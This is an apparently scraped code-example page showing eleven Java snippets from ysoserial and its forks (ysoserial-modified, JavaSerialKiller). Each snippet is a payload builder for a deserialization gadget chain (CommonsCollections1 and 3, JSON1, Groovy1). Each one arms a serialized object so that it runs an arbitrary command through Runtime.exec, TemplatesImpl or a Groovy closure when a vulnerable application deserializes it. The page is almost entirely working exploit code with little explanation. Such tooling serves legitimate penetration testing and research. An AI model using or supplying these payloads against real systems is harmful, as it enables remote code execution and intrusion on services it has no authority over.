Java Code Examples for ysoserial.payloads.util.Gadgets#createMemoizedInvocationHandler()

The following examples show how to use ysoserial.payloads.util.Gadgets#createMemoizedInvocationHandler() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up 
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 2
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 3
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up 
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 4
Source File: JSON1.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
            .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
    invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
    invocationHandler.setDefaultHandler(delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
Example 5
Source File: CommonsCollections1.java    From ysoserial-modified with MIT License 5 votes vote down vote up 
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {

		final String[] execArgs = cmdHelper.getCommandArray();
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String[].class }, new Object[]{execArgs}),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
		
		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
		
		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
		
		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
				
		return handler;
	}
Example 6
Source File: CommonsCollections1.java    From JavaSerialKiller with MIT License 5 votes vote down vote up 
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
	
	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
	
	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
	
	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain	
			
	return handler;
}
Example 7
Source File: JSON1.java    From ysoserial with MIT License 5 votes vote down vote up 
/**
 * Will call all getter methods on payload that are defined in the given interfaces
 */
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
        IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
    CompositeType rt = new CompositeType("a", "b", new String[] {
        "a"
    }, new String[] {
        "a"
    }, new OpenType[] {
        javax.management.openmbean.SimpleType.INTEGER
    });
    TabularType tt = new TabularType("a", "b", rt, new String[] {
        "a"
    });
    TabularDataSupport t1 = new TabularDataSupport(tt);
    TabularDataSupport t2 = new TabularDataSupport(tt);

    // we need to make payload implement composite data
    // it's very likely that there are other proxy impls that could be used
    AdvisedSupport as = new AdvisedSupport();
    as.setTarget(payload);
    InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
    InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
    InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
    ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
    Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
    final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);

    JSONObject jo = new JSONObject();
    Map m = new HashMap();
    m.put("t", cdsProxy);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(jo, "properties", m);
    Reflections.setFieldValue(t1, "dataMap", jo);
    Reflections.setFieldValue(t2, "dataMap", jo);
    return Gadgets.makeMap(t1, t2);
}
Example 8
Source File: CommonsCollections1.java    From ysoserial with MIT License 5 votes vote down vote up 
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
Example 9
Source File: Groovy1.java    From ysoserial-modified with MIT License 3 votes vote down vote up 
public InvocationHandler getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(cmdHelper.getCommand(), "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
Example 10
Source File: Groovy1.java    From JavaSerialKiller with MIT License 3 votes vote down vote up 
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
	
	final Map map = Gadgets.createProxy(closure, Map.class);		

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
	
	return handler;
}
Example 11
Source File: Groovy1.java    From ysoserial with MIT License 3 votes vote down vote up 
public InvocationHandler getObject(final String command) throws Exception {
	final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");

	final Map map = Gadgets.createProxy(closure, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);

	return handler;
}